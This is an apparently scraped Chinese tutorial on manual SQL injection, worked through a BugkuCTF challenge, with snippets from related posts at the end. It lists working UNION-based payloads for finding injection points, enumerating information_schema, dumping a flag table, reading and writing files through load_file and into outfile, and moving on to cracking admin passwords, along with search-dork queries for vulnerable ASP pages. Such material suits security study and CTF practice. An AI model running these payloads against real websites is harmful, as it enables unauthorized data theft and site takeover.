SQL注入(四)手工注入攻擊步驟

2021-08-19 17:19:05 字數 2849 閱讀 3259

以bugkuctf平台的一道題為例:鏈結

0)首先測試正常資料。

鏈結的結尾新增【?id=1(數字任意)

1) 判斷是否存在注入點;

【?id=32(數字任意)】鏈結的結尾依次新增語句【『】、【and 1=1】和【and 1=2】,來判斷**是否存在注入點。嘗試在正常資料後加上單引號,發現資料為空,加上注釋符(注釋符:#,–+ , //, – )後發現依舊可以正常輸出,存在注入點。看是否報錯,如果資料庫報錯,說明後台資料庫處理了我們輸入的資料,那麼有可能存在注入點。

2) 判斷字段長度;

在鏈結後面新增語句【 order by 11 (數字任意)】,根據頁面返回結果,來判斷站點中的字段數目。該題中已經有四處回顯(名字和3科分數),所以就猜4和5,得知查詢結果中有四列

3)判斷欄位回顯位置;

在鏈結後面新增語句【 union select 1,2,3,4,5,6,7,8,9,10,11#】進行聯合查詢(聯合查詢時記得把前面的查詢為空)來暴露可查詢的字段號。

該題四處都有回顯

3) 判斷資料庫資訊;

利用內建函式暴資料庫資訊

version()版本;database()資料庫;user()使用者;

不用猜解可用欄位暴資料庫資訊(有些**不適用):

and 1=2 union all select version()

and 1=2 union all select database()

and 1=2 union all select user()

作業系統資訊:and 1=2 union all select @@global.version_compile_os from mysql.user

資料庫許可權:

and ord(mid(user(),1,1))=114 返回正常說明為root

4) 查詢資料庫名;

mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊union select information_schema from information_schema.schemata(語句在顯示位)

該題看一下資料庫資訊,庫名為skctf_flag

5) 查詢資料庫表名;

該題語句為【-1』 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#】得知表名為fl4g

6) 查詢列名

7)知道表名知道列名,獲取資料

-1' union select

1,(select skctf_flag from fl4g),3,4#

得出flag

8) 查詢資料庫表中所有字段以及字段值;

and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10 from information_schema.tables where table_schema=資料庫(十六進製制) limit 0(開始的記錄,0為第乙個開始記錄),1(顯示1條記錄)—

and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10 from information_schema.columns wheretable_name=表名(十六進製制)limit 0,1

9) 猜解賬號密碼;

10) 登陸管理員後台。

讀檔案: union select 絕對路徑 load_file

寫入檔案:union select

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

網路安全系列之四 手工SQL注入 ASP

1 尋找注入點 隨便開啟乙個網頁,注意觀察url。注入點必定是類似 這類存在命令呼叫的頁面,shownews.asp?id 7 是頁面傳值,就是將 id 7 傳到 shownews.asp 頁面裡進行處理。我們可以在這個url後面加上and 1 1和and 1 2進行測試。and 1 1 網頁仍能正...

SQL手工注入

site xx.cn inurl asp?id 找文章 xx.cn pth onews.asp?id 243 試注入 xx.cn pth onews.asp?id 243 order by 10 xx.cn pth onews.asp?id 243 order by 20 order by 語句用於...